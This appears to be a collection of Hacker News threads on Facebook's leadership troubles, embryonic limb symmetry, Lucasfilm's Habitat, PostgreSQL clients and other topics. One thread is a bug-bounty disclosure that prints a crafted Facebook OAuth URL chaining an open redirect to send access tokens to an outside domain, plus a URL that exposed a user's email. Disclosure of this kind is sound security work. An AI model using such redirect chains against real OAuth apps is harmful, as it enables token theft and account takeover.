</comment><comment><USER54> I cannot really understand Facebook's concerns over the press ganging them up. Zuckerberg doesn't talk, or is lying through his teeth, or through Sandberg's, so people find other ways to get into Facebook's internal affairs (see the story about UK's MP disclosing memos). Now Zuck and Sheryl are loosing trust from their own employees. Though break.

</comment><comment><USER55> Lots of comments about burner phones here. I merely took it as a cheap throwaway phone which they purchased explicitly because it would not be trackable or monitorable, and the phone number would not be registered under their name.

</comment><comment><USER56> "Now, as its stock price declines "

I guess that is when they start to object to the things they were doing, or is it just that it hasn't worked out for them... but they were ok with what the company did?

</comment><comment><USER57> Anyone who buys into a company's stock when it's rigged to insulate the CEO from accountability either doesn't care about accountability or is a fool.

</comment><comment><USER58> > full-blown anti-media rhetoric, saying that the press is ganging up on > Facebook

I don't like facebook, but they are not wrong to feel this way because that is exactly what the media is doing because it is profitable. If it bleeds it leads. The media, like facebook's newsfeed, has the greatest engagement and ad revenue when they are actively selling controversy. Manufacturing or even just exaggerating controversy is at fault here.

There really is no difference between everything shitty about Facebook and the news media these days. They are both afflicted with the same disease.

<comment><USER59> Yeah. Except "the media" is reporting actual facts, that not even Facebook is disputing. And you're making some case that would be true _no matter what_ the media focusses on.

So: why Facebook, and not Apple? Why Volkswagen, and not Toyota? Why Michael Cohen, and not some other lawyer nobody had ever heard of?

</comment></comment><comment><USER60> The actual documents the UK Parliament pried out of Facebook are here.[1]

Excerpts:

Exhibit 172 – Discussion of changing 'read call log' permissions on Android

From email dated 4 February 2015

Michael LeBeau – 'He guys, as you know all the growth team is planning on shipping a permissions update on Android at the end of this month. They are going to include the 'read call log' permission, which will trigger the Android permissions dialog on update, requiring users to accept the update. They will then provide an in-app opt in NUX for a feature that lets you continuously upload your SMS and call log history to Facebook to be used for improving things like PYMK, coefficient calculation, feed ranking etc. This is a pretty high-risk thing to do from a PR perspective but it appears that the growth team will charge ahead and do it.'

Yul Kwon

'The Growth team is now exploring a path where we only request Read Call Log permission, and hold off on requesting any other permissions for now. 'Based on their initial testing, it seems this would allow us to upgrade users without subjecting them to an Android permissions dialog at all. 'It would still be a breaking change, so users would have to click to upgrade, but no permissions dialog screen.

[1] [https://www.parliament.uk/documents/commons- committees/cultu...](https://www.parliament.uk/documents/commons- committees/culture-media-and-sport/Note-by-Chair-and-selected-documents- ordered-from-Six4Three.pdf)

<comment><USER61> I was just watching Survivor: Cook Islands and seeing Yul Kwon come up in such a totally random way is bizarre. Guess he needs more than the million

</comment></comment><comment><USER62> Non AMP link: [https://www.buzzfeednews.com/article/charliewarzel/facebooks...](https://www.buzzfeednews.com/article/charliewarzel/facebooks- tensions-zuckerberg-sandberg)

<comment><USER63> @dang can we please change the URL to this? The current one has full width text which is hard to read.

<comment><USER64> Updated!

<comment><USER63> Thank you! Quick question, is there a good way to "summon" a mod? I've always used @dang to do it but they obviously aren't the only mod here, I just don't know the correct way to do it.

<comment><USER64> That doesn't do any summoning anyway, so please email firstname.lastname@example.com and we'll be sure to see it.

</comment></comment></comment></comment></comment><comment><USER65> good

</comment><comment><USER32> I still don't understand why the Soros thing is a news story. I've never seen so many major media outlets come to the defense of the "helpless" _billionare_. If someone that powerful was bad mouthing my company, I'd also want to know why they were doing that.

<comment><USER66> I'm Jewish myself and I don't understand how Soros being the subject of neo- nazi memes renders his political activity immune to criticism in general. The Koch brothers are frequently vilified by angry neo-marxists, but that doesn't seem to discourage journalists from writing about how projects and funds are tied to the Kochs.

<comment><USER59> Quick: name one specific project by George Soros.

Among the reasons why the criticism of him is generally seen as Anti-Semitic is that it rarely goes any further than "rich Jew". The Open Society Foundations supports hundreds of initiatives. They are all listed on their website. Go find something objectionable!

<comment><USER27> billionaires using their wealth to meddle in politics is generally viewed as suspicious, as it should. Can you name another rich political activist who is not being criticized but praised?

The honest way for a rich person to make political change is by putting himself up for election.

<comment> shaki-dora Bill gates

<comment><USER27> bill gates is political?? i d have to visit his wiki page to find out his political affiliation, let alone ambition</comment></comment></comment></comment></comment></comment>


How Mammals Maintain Symmetry During Development - <AUTHOR> https://www.scientificamerican.com/article/how-mammals-maintain-symmetry-during-development/ <comment><USER2> > They found that the cells surrounding the suppressed tissue communicated > with the placenta, which then signaled the rest of the organism's > tissues—including the other hind leg—to slow their growth until the hindered > limb caught up.

Can somebody dumb it down for me? It's fascinating but I still don't understand how do they communicate. Is it done through nervous system? Presumably not because it's not reaching all tissues and it's probably not yet fully developed at that point. So how does it happen? If it's just releasing some chemicals it seems hard to imagine that it could be accurate. Plus how would the slower limb know that these chemicals come from it and it does not need to slow down growth. How does something know that it is slower than it should be? So many questions.

<comment><USER3> At this point of development, the communication is done via release of chemical factors which bind to other cells and cause changes. The general problem of pattern formation in embryonic development has been extensively studied; see here: [https://en.wikipedia.org/wiki/Pattern_formation](https://en.wikipedia.org/wiki/Pattern_formation) and [https://en.wikipedia.org/wiki/Reaction%E2%80%93diffusion_sys...](https://en.wikipedia.org/wiki/Reaction%E2%80%93diffusion_system)

I'm oversimplifying, bjut it's basically the gradient of a chemical that acts as a control variable.

<comment><USER4> The associated paper to the article is:

[https://journals.plos.org/plosbiology/article/file?id=10.137...](https://journals.plos.org/plosbiology/article/file?id=10.1371/journal.pbio.2005086&type=printable)

p.15 has a summary of what they propose, e.g., density of p21+ chondrocytes, as an inhibitor:

"Because we found that the extent of compensatory proliferation does not linearly correlate with cell density—but it does with the proportion of p21+ chondrocytes — we posit that density plays a permissive rather than an instructive role and that stress signals emanating from p21+ chondrocytes are needed as well."

<comment><USER3> that's text I can't interpret, unfortunately. It's highly speculative and ambiguous.

</comment></comment></comment></comment><comment><USER5> My kid was always 90+ percentile for height when she was younger. Then when she got an expander (ortho stuff) she stopped growing almost completely for about a year. Then she seemed to resume growing. I have wondered if putting stresses in the jaw forcing it to expand may have triggered something that slowed her growth. Or perhaps it was a coincidence that she plateaued at that time. Now I see this:

>> They found that the cells surrounding the suppressed tissue communicated with the placenta, which then signaled the rest of the organism's tissues—including the other hind leg—to slow their growth until the hindered limb caught up.

This makes me want someone to study kids growth before, during, and after things like orthodontic treatments. Maybe it really wasn't a coincidence. Putting pressure on the bones to force them apart may have signaled the rest of the body that one part needed to catch up and so the rest slowed down.

<comment><USER6> This concept seems fascinating.

</comment></comment><comment><USER7> Original article:

Roselló-Díez A., Madisen L., Bastide S., Zeng H., Joyner A.L. "Cell- nonautonomous local and systemic responses to cell arrest enable long-bone catch-up growth in developing mice." PLoS Biol. 2018 Jun 26;16(6):e2005086. doi:10.1371/journal.pbio.2005086

[https://journals.plos.org/plosbiology/article?id=10.1371/jou...](https://journals.plos.org/plosbiology/article?id=10.1371/journal.pbio.2005086)

<comment><USER8> Can someone having knowledge in this dark art:

* tell what is the messaging system (I understand it is some kind of IGF peptides),

* what are the semantics of the messaging system (how can it report about the length of a limb? how are identified senders and receivers?)

* what is the controlling system (which compares the two limb lengths and corrects the lengths by sending other messages?)

Many thanks!

<comment><USER3> It's hard to answer these questions because you're asking like a human engineer how another rationally designed system "works" via agency and intent. Biology doesn't work that way.

But yes: the data is signalled in the form of pools of individual molecules. The messaging system uses tags to target molecules (in some cases) or just controlled spatial relase to target the messages.

The controlling system is a complex set of genetically regulated proteins and other components.

See morte here: [https://en.wikipedia.org/wiki/Cellular_communication_(biolog...](https://en.wikipedia.org/wiki/Cellular_communication_\(biology\))

None of this is fully understood but it has been extremely successful in explaining a lot of more complex developmental phenotypes.

</comment></comment></comment><comment><USER9> Interesting, but remember this regards _external_ symmetry. Most mammals have an _internal_ asymmetry of organ placement.

In humans, there is a condition _Situs inversus_ in which internal asymmetry is reversed (i.e. organ placement is mirrored):

[https://en.wikipedia.org/wiki/Situs_inversus](https://en.wikipedia.org/wiki/Situs_inversus)

Incredibly, the internal asymmetry of mice has been experimentally reversed:

[http://dev.biologists.org/content/136/23/3917](http://dev.biologists.org/content/136/23/3917)

<comment><USER10> See also Adolf Portmann's strange speculations on symmetry and asymmetry:

[https://books.google.ie/books?id=wzhqDQAAQBAJ&pg=PA35](https://books.google.ie/books?id=wzhqDQAAQBAJ&pg=PA35)

extract from that page: [https://imgur.com/a/IAB12T5](https://imgur.com/a/IAB12T5)

"According to Portmann in animals all organs that cannot be arranged symmetrically are concealed under non-transparent covers. All types of animals that are glass-clear, completely transparent (ctenophorans, water-fleas, etc.) demonstrate "an important rule in primary animal reproduction: their whole organisation is uniformly symmetrical. Whether they are radial or bilateral this building plan regulates all organs to the deepest point".

Portmann refers to all the visible optical structures characterized by a symmetrical construction as "organs of view, whose entire appearance only makes sense if we consider it as directed to the eye, be it the eye of another animal of the same species of the eye of an enemy".

It goes on. Portmann is out of fashion, I believe, maybe seen as an eccentric or even discredited. I read about this idea in an interview with the artist Pierre Huyghe.

</comment></comment><comment><USER11> It always amazes me how life handles exceptions, this kind of studies remind me of QA testers trying to break my code. Scientists being the testers, the body being the application, and DNA being the code.</comment>


The Lessons of Lucasfilm's Habitat (1990) - <AUTHOR> http://web.stanford.edu/class/history34q/readings/Virtual_Worlds/LucasfilmHabitat.html

<comment><AUTHOR> If you liked this paper, you might also find Ultima Online's resource system interesting:

* Part 1: [http://www.raphkoster.com/2006/06/03/uos-resource-system/](http://www.raphkoster.com/2006/06/03/uos-resource-system/)

* Part 2: [http://www.raphkoster.com/2006/06/04/uos-resource-system-par...](http://www.raphkoster.com/2006/06/04/uos-resource-system-part-2/)

* Part 3: [http://www.raphkoster.com/2006/06/05/uos-resource-system-par...](http://www.raphkoster.com/2006/06/05/uos-resource-system-part-3/)

<comment><USER2> Has this sort of mega-simulation envisioned at the end of part 3 materialized yet? I don't think so. Why? is there no interest in it or the technology isn't there yet?

</comment></comment><comment><USER3> Seems disingenuous to not mention MUDs at all, the first of which had been running for a decade at that point. Yes, they added graphics, apparently, but I was playing Neverwinter on AOL a year later in 1991 with graphics as well, and quests that worked fine for any number of players, and GM led events and contests that did as well.

The MUD I was on had GM led quests and stories and adventures for every single new region that opened as well. So the huge problem they ran into of an event only working for one user just sounds like some thing they blew out of proportion to write what they wanted to write, or they were just ignorant of what everyone else was doing at the time.

</comment><comment><USER4> This paper was fascinating and made me wonder if it was one of the inspirations or reference materials in writing the fictional work 'The Metamorphosis of Prime Intellect' by Roger Williams. A crazy virtual reality turned real... for lack of a better paraphrase. The great debate, the sheriff, DEATH and THE SHADOW, user created content - all things that reminded me of strong themes in Prime Intellect.

Prime Intellect: very NSFW sci-fi you can read online at [http://localroger.com/prime-intellect/](http://localroger.com/prime- intellect/)

</comment><comment><USER5> I _love_ this paper, and keep re-reading it every 4-5 years. It's incredible how actual it still is. From Habitat, to Worlds Chat, to Second Life, or upcoming metaverses using Oculus Rift.

<comment><AUTHOR> Me too! I posted this a long time ago on here and was disappointed nobody checked it out. Makes me happy so many people are enjoying it.

</comment></comment><comment><USER6> If you love this paper, I'd strongly suggest reading "Death and Life of Great American Cities". It plays out the same issues in the central planning of NYC in the 1960s.

</comment><comment><USER7> I was struck by how the lessons learned were not specific to virtual world games, but applied as much to developing any online community application (like eBay, Facebook, Twitter) including the rejection of big, upfront design, letting your community guide development, and facilitating user created content.

</comment><comment><USER8> Randy and Chip also have a great series of essays and articles here, including a bunch on the topic of online communities:

[http://habitatchronicles.com/](http://habitatchronicles.com/)

</comment><comment><USER9> What a gem. The reference list seems to tell a story all by itself.</comment>


Ask HN: Can I unflag? - <AUTHOR> Can I unflag a url I flagged accidentally. If so, where is this feature? Also, sorry mods. <comment><USER2> Once you click it, it should appear as "unflag". Just click that and it'll unflag.</comment>


Why the US is drawing in Europe's expats post-Brexit - <AUTHOR> http://www.bbc.com/capital/story/20180209-do-european-expats-prefer-the-us-over-the-uk <comment><USER2> Misleading headline. The US has also dropped in favor as a destination, just not as much as the UK and it still is in the #1 spot.</comment>


Startups Vie to Build an Uber for Health Care - <AUTHOR> http://www.wsj.com/articles/startups-vie-to-build-an-uber-for-health-care-1439265847?mod=e2fb <comment><AUTHOR> I'd imagine it would be particularly helpful for senior citizens.</comment>


Why Clojure? I'll tell you why… - <AUTHOR> https://firstname.lastname@example.com/why-clojure-seriously-why-9f5e6f24dc29 <comment><USER2> "Clojure is a functional programming language, that runs on JVM"

...which means that the party is over: anything that I cannot permanently compile into straight machine code and generate a binary executable will have a double performance penalty: once to process the bytecode, and once to just- in-time compile it. Why would anyone in their right might settle for that? Please wait - compiling the planet... that's insane. It's far better to stick with one of ANSI common Lisps and get incremental, instantaneous compilation to straight machine code for any expression which evaluates.

<comment><USER3> Someone ought to tell the 9 million Java developers that they're using a failed platform.

<comment><USER4> They don't listen :(</comment></comment></comment>


Show HN: My attempt at a piano version of Guitar Hero - <AUTHOR>

So I've been working on this for quite a while and it's time I made a serious push.  Besides being fun I think it could have a serious impact on how people learn to play the piano.  I just launchedd a kickstarter project for it here:
http://www.kickstarter.com/projects/733181147/crescendo-playing-the-piano-was-never-so-fun
Any feedback would be appreciated but especially helpful at this point would be comments on the kickstarter presentation; ambiguities, missing information, odd use of semicolons, etc. <comment><USER2> Okay, i'm no expert, i don't know how the play. But wanted to learn it a while ago.

As i think i could be a user, this is what you "could" keep in mind:

What i did was (i didn't have a piano and that's expensive), i bought a piano keyboard. (it's like a piano but with notes instead of buttons and it runs on batteries :-P).

All that i learned, was the start of the fûr elise while watching youtube videos. I know about the 30 first notes or so and that's where my expertise ends.

My brother has a piano, what i did then was put a tablet on top of it (not much space on it) and imitate a "virtual piano" app. I could imitate some some because of this.

Some things you should know:

The idea of this project is great, but a lot of people who don't own a piano. So your audiance is already "limited". Suggest alternatives like a cheap piano keyboard for the ones who don't have one. Just to get them started.

Second thing, not much people have place to put a monitor on top of their piano. A tablet is about the max you can get on top of ours. You could start looking into Raspberry Pi and small screens to adjust this.

Third thing, you are showing notes and in the start, people don't know where the notes are, you could show piano buttons /places instead.

Fourth thing, you're video isn't inspiring. If you look at the top kickstarter campaigns... You'll see a lot of different things then you're video. Watch these for inspiration: [http://www.kickstarter.com/projects/556341540/pressy- the-alm...](http://www.kickstarter.com/projects/556341540/pressy-the-almighty- android-button) [http://www.kickstarter.com/projects/danshapiro/robot- turtles...](http://www.kickstarter.com/projects/danshapiro/robot-turtles-the- board-game-for-little-programmer)

Because no matter what people say, kickstarter is work.. And making a video is your ad to the outside world. I haven't seen any idea that got into the media, with a bad video. If you want to know how important it is, read this: [http://www.danshapiro.com/blog/2013/09/robot-turtles- midmort...](http://www.danshapiro.com/blog/2013/09/robot-turtles-midmortem- at-250k/) You need referrals, kickstarter is only a place where they can give you money.

I'm sorry if i sound rude, i don't have much time right now and just wanted to give you immediate feedback on my perception of things. I understand how "miserable" it can feel if "kickstarter" doesn't seem to work.

Get into some music/piano communities / forums / .. online. I have read on a lot of places that those could be your audiance.

Going out on other places for feedback, inspiration, ... is a sign you want it. But besides wanting it, there's also a lot of work into media / marketing.

I wish you the best and if you could address the above things. That's my sign to support you as a non-piano owner :), but perhaps i'm not your audiance also.

For you to decide.

PS. Wrote the comment fast and i'm not a native english speaker /writer</comment>


Facebook Awards 1000$ for 2 minor bugs - <AUTHOR> Since last two month i started reading about security vulnerabilities and give a try on facebook.com and found two minor bugs.
BUG #1 STEALING OAUTH ACCESS TOKEN (500$)
Introduction: <comment></comment><comment>-- Facebook apps(including facebook internal apps) having redirect_url to wordpress comes under this attack.It was because of open redirection bug of wordpress sites
Steps: </comment><comment>-
1. Facebook launched shemeansbusiness.fb.com (client_id=757713104362213).By Default redirect_url was https://staticxx.facebook.com/connect/xd_arbiter.php
2. App accept shemeansbusiness.fb.com domain in redirect_url and also fbshemeansbusiness.wordpress.com
3. So, I crafted a new url  :
https://www.facebook.com/dialog/oauth?display=page&response_type=token&fbconnect=1&client_id=757713104362213&redirect_uri=https%3A%2F%2Ffbshemeansbusiness.wordpress.com%2Fremote-login.php%3Faction%3Dlogout%26back=https://google.sttor.com
Here Redirect Url is :
https%3A%2F%2Ffbshemeansbusiness.wordpress.com%2Fremote-login.php%3Faction%3Dlogout%26back=https://google.sttor.com
4. So If any person  has pre authorized this app or use it first time using crafted url, the access token will be redirected to external websites(having google or wordpress keyword in domain)
5. Even techcrunch.com has open redirection and send access token to external websites
BUG #2: EMAIL DISCLOSURE of  users who submitted link on shemeansbusiness.fb.com. (500$)
Like this url was disclosing user email https://shemeansbusiness.fb.com/fbsmb_submission/lea-rafferty/
Both the bugs are patched immediately.Today facebook awards me total 1000$ for these two bugs </comment><comment><USER2> Do you mind sharing the resources you've read about security vulnerabilities?

<comment><AUTHOR> I only read the past bugs reported to google and facebook, and read in depth about OAUTH.

1\. [http://homakov.blogspot.in/2013/02/hacking-facebook-with- oau...](http://homakov.blogspot.in/2013/02/hacking-facebook-with-oauth2-and- chrome.html)

2\. [http://www.nirgoldshlager.com/2013/02/how-i-hacked- facebook-...](http://www.nirgoldshlager.com/2013/02/how-i-hacked-facebook- oauth-to-get-full.html)

3\. [https://medium.com/@atom/a-simple-bug-on-facebook-that-is- wo...](https://medium.com/@atom/a-simple-bug-on-facebook-that-is- worth-8000-b77f7e01b064#.8d4nef1g4)</comment></comment>


Ask HN: What PostgreSQL client do you use? - <AUTHOR> There are seemingly a plethora of clients for Postgres [1].
What client(s) do HN use day-to-day? Why have you chosen it?
I'm looking for recommendations to use for light usage. Ideally, something that would help build the schema visually.
[1] https://wiki.postgresql.org/wiki/PostgreSQL_Clients <comment><USER2> DBeaver.

It suffers from 'oh God this was definitely written in Java, wasn't it', but it's mostly good.

Then I happened across pgAdmin recently which probably does everything I want from DBeaver, and has a docker image (it's browser based) but I haven't really tried it properly. Keep meaning to though, I have a hopeful feeling that it'd be 100% what I recommended if I had.

<comment><USER3> I like some small features in DBeaver like clicking through on a foreign key takes you to that row in another table. I've seen lots of clients where you have to write another query.

Written in Java has the advantage of supporting any database which supports Java (which means every serious database on the planet)

<comment><USER4> Those other little features are like you can modify and edit the resultset of a query. It won't stop for a full minute if a db connection breaks. It saves sql querys you wrote Notepad++ style without asking "ARE YOU SURE?".

Its the little things that adds up and make a much better experience when coming from sqlDeveloper and PgAdmin4.

</comment></comment></comment><comment><USER5> TablePlus - Love it! Cross-platform without Electron and yet still pretty. They got UX right, it's minimal yet powerful enough for me.

<comment><USER6> Another vote for TablePlus. Really solid and support for tons of other DBs. Came from Navicat which crashed a lot. Pricing is way better too. They also make DBngin, a great free tool for spinning up local DBs in a clean, self- contained way.

</comment></comment><comment><USER7> psql. It's installed everywhere I need to use it, it reads from stdin, and it writes to stdout. It's often the case that I want to take a SQL query that I've developed, generalize it a bit, and use something like

      psql OPTIONS <<EOF
      SELECT ...
      EOF

in a shell script (probably wrapped in a function for convenience).

<comment><USER8> I do use psql for scripting, but for more interactive use, pgcli is quite nice too:

[https://www.pgcli.com/](https://www.pgcli.com/)

It doesn't help with visualizing schemas, however.

<comment><AUTHOR> Ooh, that looks interesting (even though it doesn't do visual schemas as you say)

</comment></comment></comment><comment><USER9> I use and love Postico. But I do very basic stuff (SQL, DDL, editing rows, etc)

<comment><USER10> I have enjoyed using Postico. It's very easy to use and not ugly, which is rare in the world of database tooling.

</comment></comment><comment><USER11> MS added PostgresSQL support to their excellent cross platform dB tool Azure Data Studio:

[https://azure.microsoft.com/en-us/blog/azure-data-studio- an-...](https://azure.microsoft.com/en-us/blog/azure-data-studio-an-open- source-gui-editor-for-postgres/)

<comment><USER12> (If anyone is wondering: it was forked from VS Code and, yes, it is electron.)

</comment></comment><comment><USER13> I use the database tool built into IntelliJ. It's amazing. It's available as a stand-alone product named DataGrip.

<comment><USER14> As a pycharm user I can second that the editor integration is _rad_. The interface itself could use some work in my opinion. The way it deals with datetime inputs is particularly heinous. But it's definitely the least-bad GUI database client I've used so far.

</comment></comment><comment><USER15> Postico seems to be heavily optimized for the 80% of what I need in a postgres tool. I love it.

</comment><comment><USER16> Django.

It's not the answer you _thought_ you were looking for, but it's a bloody good framework for modelling data, reporting, and also scripting things around it.

</comment><comment><USER17> For visual schema building the best I've found is pgmodeler. It is buggy and isn't really a client but it is great at modeling, viewing schemas in a model, and overall making sense of how complex data connects.

Edit: For day-to-day I use Postico but am playing with beekeeper as soon as JSON and JSONB support are figured out.

</comment><comment><USER18> pgcli [https://www.pgcli.com/](https://www.pgcli.com/)

</comment><comment><USER19> For PostGIS / Spatial data

#1. DBeaver: Working with spatial/GIS data

[https://dbeaver.com/docs/wiki/Working-with-Spatial-GIS- data/](https://dbeaver.com/docs/wiki/Working-with-Spatial-GIS-data/)

#2. pgAdmin4: now offers PostGIS geometry viewer

[https://www.bostongis.com/blog/index.php?/archives/272-pgAdm...](https://www.bostongis.com/blog/index.php?/archives/272-pgAdmin4-now- offers-PostGIS-geometry-viewer.html)

\</comment><comment>---

Any other?

</comment><comment><USER20> I'd guess in your case ("light usage"), just choose one of the open-source GUI clients would be best. Probably DBeaver.

Here's the decision-tree I'd go with:

Do you want to pay money for it? If not, use a free or open source one.

Are you comfortable with running SQL commands from the command line? If not, go for a GUI one.

This leaves "OS-specific or cross platform" (which should be straightforward to resolve), and "desktop client or web interface". I'd expect a desktop client to be easier to setup.

</comment><comment><USER21> Navicat , it has everything I can ask from a RDBMS client (it even supports NoSQL!), from days transfer, database diffing, scheme reversing, advanced DBA related tasks...

<comment><USER22> I really enjoy using navicat too, it is much more intuitive for me coming from mssql

</comment></comment><comment><USER23> My very own pgcmd [1]. I usually pipe the output to jq [2] or catj [3] for further processing.

[1] [https://github.com/soheilpro/pgcmd](https://github.com/soheilpro/pgcmd)

[2] [https://stedolan.github.io/jq](https://stedolan.github.io/jq)

[3] [https://github.com/soheilpro/catj](https://github.com/soheilpro/catj)

</comment><comment><USER24> dbeaver It's really good and surprisingly lightweight considering it's java app.

</comment><comment><USER25> Most of these comments don't seem to cover what you're asking for, which was building the schema visually.

SQLEditor ([https://www.malcolmhardie.com/sqleditor/](https://www.malcolmhardie.com/sqleditor/)) is quite good if you're on OS X. It'll generate entire schema or migration since last save.

</comment><comment><USER26> I'm using pgAdmin4 and I'm super happy with that. For the day-to-day tasks it's a great tool!

<comment><USER27> I liked that pgAdmin had thorough support for the more obscure PostgreSQL features (e.g. domains). However, back in the pgAdmin III days I found it clunky, occasionally unresponsive, and just not fun to work with. With pgAdmin 4... my sense is they doubled down on that with a convoluted architecture where the "client" is a sort of front end to a web server like process they spin up.... really I just wanted a desktop client.

Truth is I never found a PostgreSQL graphical tool that I was happy with. The one with best PostgreSQL support was pgAdmin and the others were all lacking in that regard. In the end I just bit the bullet and took a week to get psql into my muscle memory. Best decision ever; in combination with a good .psqlrc I rarely find myself wanting for anything more. I work with fairly complex highly normalized schemas (100s of tables) and it tells me what I need to know. Of course, I'm doing a huge amount of database work so a more casual database user may not readily be able to get as much mileage out of psql (graphical data models help for some).

I think OmniDB ([https://omnidb.org/](https://omnidb.org/)) is a tool that seems to try to cover the same bases as pgAdmin, but doing a better job of it. I think I'd likely look there if I really needed graphical tool.

For the record, the last graphical tool I used that I was very pleased with was a tool for Oracle database development PL/SQL Developer ([https://www.allroundautomations.com/products/pl-sql- develope...](https://www.allroundautomations.com/products/pl-sql-developer)). For me, it hit a sweet spot that I've just not seen duplicated... but I stopped working with Oracle over a decade ago and that was when last I used this tool.

</comment></comment><comment><USER28> PGWeb : [https://github.com/sosedoff/pgweb](https://github.com/sosedoff/pgweb) Web-based PostgreSQL database browser written in Go.

very lite and minimal.

<comment><AUTHOR> Oooh, that's very nice. Deffo adding this to my toolkit.

</comment></comment><comment><USER29> Psql when I want to do anything programmatic

TablePlus when I want to do data exploration.

I've heard good things from colleagues about JetBrain's DataGrip, but I haven't given it a fair go.

</comment><comment><USER30> I've been using aquadata for years. It's been a fairly good time.

I have started to transition more of my work to datagrip because I use pycharm and it's right there.

</comment><comment><USER31> postico is great

</comment><comment><USER32> I used Aqua Data Studio for years until they changed to $500/yr license. Tried using DataGrip but couldn't used to it, now I just use pgAdmin4.

</comment><comment><USER33> I suggest: [https://www.sql-workbench.eu/](https://www.sql-workbench.eu/)

lightweight and JDBC compatible

</comment><comment><USER34> DbVisualizer has been my main SQL "IDE" for years. [https://www.dbvis.com](https://www.dbvis.com)

</comment><comment><USER35> Datagrip. I love the tight integration with PyCharm.

</comment><comment><USER36> [https://github.com/Paxa/postbird](https://github.com/Paxa/postbird)

</comment><comment><USER37> PgAdmin but I've not really looked around, it's the one I used when I learned postgres and stuck with it.

</comment><comment><USER38> Valentine studio rocks. Free ver is sufficient.

<comment><AUTHOR> Cool, will check this out!

</comment></comment><comment><USER39> Valentina Studio does the job for me.

</comment><comment><USER40> DBeaver

</comment><comment><USER41> Can't live without postico

</comment><comment><USER42> Postico and Pgweb

</comment><comment><USER43> psql and dbeaver

</comment><comment><USER44> pgcli

</comment><comment><USER45> 1\. pgAdmin 2\. DBeaver 3\. Navicat 4\. DataGrip 5\. OmniDB

This article breaks down the pros and cons, features, and pricing for each of the top PostgreSQL GUI tools: [https://scalegrid.io/blog/which-is-the-best- postgresql-gui-2...](https://scalegrid.io/blog/which-is-the-best-postgresql- gui-2019-comparison/)</comment>


My Time as a Black Woman Software Engineer at Capital One - <AUTHOR> https://medium.com/@soandsos/my-time-as-a-black-woman-software-engineer-at-capital-one-5c05fa8faed <comment><USER2> This story sounds pretty typical of any corp IT job really. I've had plenty of managers that I just didn't get along with and they seemed to always be on my case or something but let their "friends" do what ever.

One time I was trying to move to a different team. My would-be-new-manager kept asking me what was the hold up. I'd go to my current manager and he'd blame it on the would-be-new-manager stating that he didn't actually want me on his team. I couldn't tell who to believe. I could have said "it's because I'm black" (except I'm white and can't use that excuse) but instead I just left the company. Only thing is, that took nearly 2 years of interviewing. I'd spend sometimes a whole week making my cover letter perfect for what I was applying for, but still I'd get no response or very little of one. I landed some good interviews in that time too and they went well, but still nothing. Ironically I remember thinking that if I was black, how I would have a strong urge to burn up twitter with comments about how I couldn't even land a job interview because of my skin color. But I was white, had a good resume and cover letter, and experience to back it up. Yet that was not the problem at all (applying for a job just sucks in general).

Anyways, by how this woman describes asking several different people for help with her coding, this doesn't always sit well in all environments. In many cases, just asking for help or tips by a new hire is seen as them being an idiot. And to top it off, I don't know of any "smart" people that would want to actually work at Capital One (not as a code monkey anyway).

<comment><USER3> That was my sentiment as well - it sounded like a fairly typical corp Agile travesty without anything racist. That's not to say it was enjoyable or a good match for a reasonable person - I, personally, could never work in an environment like that.

I greatly resented her comment about a new person being "cis white male" and hence to be greatly dreaded. Especially when the author admits that this person was eminently reasonable and pleasant to work with despite his overwhelming gender, preference, and pigmentation deficiencies.

There's also a throwaway at the end referring to considerable "microaggressions". They're aggressions or they're not - someone says racist or sexist garbage to you or they don't. If they do, you act or at least document for slightly later action.

</comment></comment><comment><USER4> a poignant, informative essay that illuminates what the experience is like when a malicious manager decides to target a report.

also, i did not realize what a shitshow Capital One's engineering culture is ("scrum masters" at a bank? really? jesus.). good to know - obviously a potential employer to avoid.</comment>


Using an ancient JavaScript technique to drive conversion rate . . . - <AUTHOR> http://conversionvoodoo.com/blog/2011/03/using-an-ancient-javascript-technique-to-drive-conversion-rate/ <comment><USER2> It's not so much the Javascript technique as the beautiful images that help conversions I think.

<comment><USER3> iStockPhoto I wonder?

<comment><AUTHOR> Totally :)

Although the "TPS report" one is heavily edited - poll on how many people get that reference?

<comment><USER4> Lumbergh's gonna have me come in on Saturday, I just know it.

</comment></comment></comment></comment><comment><USER5> I am definitely stealing this. Even if I don't have anything to convert to, the smugness factor is off the charts.

</comment><comment><USER6> Is this a boost across the board or are there certain hours/day where you're seeing the boost?

Also what was the reason behind JS instead of doing this server-side with php/ruby?

Note -- as a former CV client I can attest that these guys know their stuff.

<comment><USER7> " _Also what was the reason behind JS instead of doing this server-side with php/ruby?_ "

I would assume it's so they can calculate based on the user's local time settings.

Edit: And here's the JavaScript, for anyone who's curious about the full list of possibilities (you'll need to hunt for the images in the stylesheet). <http://www.conversionvoodoo.com/time-home.js>

<comment><AUTHOR> Yep, bang on.

Simpler and faster than trying to do the equation to poll a geo-IP database, build appropriate timing, etc.

</comment></comment></comment><comment><USER8> What I never understand but also fall for, is how pretty stock photos just make customers trust you. It's crazy and a little creepy.

Put a picture of smiling people hard at work on your page, that are just a stock photo and don't resembled anyone or your actual business, and people instantly trust your company a little more anyway. It's weird.

</comment><comment><USER9> Loaded fine when I checked it from my cell phone earlier today. But checking again now from my desktop, either this needs more testing or they changed their minds about the feature. It's a black page and firebug net tab shows: GET tps-bg.jpg <http://d61fqxuabx4t4.cloudfront.net/tps-bg.jpg> 403 Forbidden

<comment><AUTHOR> Very strange, are you outside of the USA?

<comment><USER9> Nope. Atlanta, GA, but the IP I was using doesn't show up right on geo ip lists if you were doing reverse lookups. Might show up as chicago, might not show up at all.

</comment></comment></comment><comment><USER10> Unfortunately, by the time those huge images load, the window is already closed.

<comment><USER11> The image of the coffee cup (the only one I can bring up) is only 46kb. That loads pretty quick.

<comment><USER12> What a brave new world we live in, when the words "only" and "46kb" are mentioned next to each other in a positive way when talking about the web.

Am I the only one who balks at including a 5kb JS file, even if I need it? At least, with automatic media managers that merge everything into one file, I don't have to worry about the extra requests as much.

<comment><USER13> Yep. I don't really see the problem if your market is B2B in the US or Western Europe. Those shopping for their business at work, ought to be using high speed connections (albeit ones that may or may not be saturated by fellow workers).

If your market is developed Asia, then most _cellphones_ have better internet speeds equal to _Australian_ broadband, so that extra 5kb is a rounding error in transmission time.</comment></comment></comment></comment>


Google just killed $150M in Android developer payments (and it's a good thing) - <AUTHOR> http://venturebeat.com/2013/09/27/google-just-killed-150m-in-android-developer-payments-and-its-a-good-thing/#vb-gallery:1:822054

<comment><USER2> Indeed, these bullshit untraceable ads are totally annoying. And people wonder why adblockers are on the rise - it's because adblockers are the only thing to help against this nightmare.

Only that adblockers also ban "innocent" banner ads...</comment>


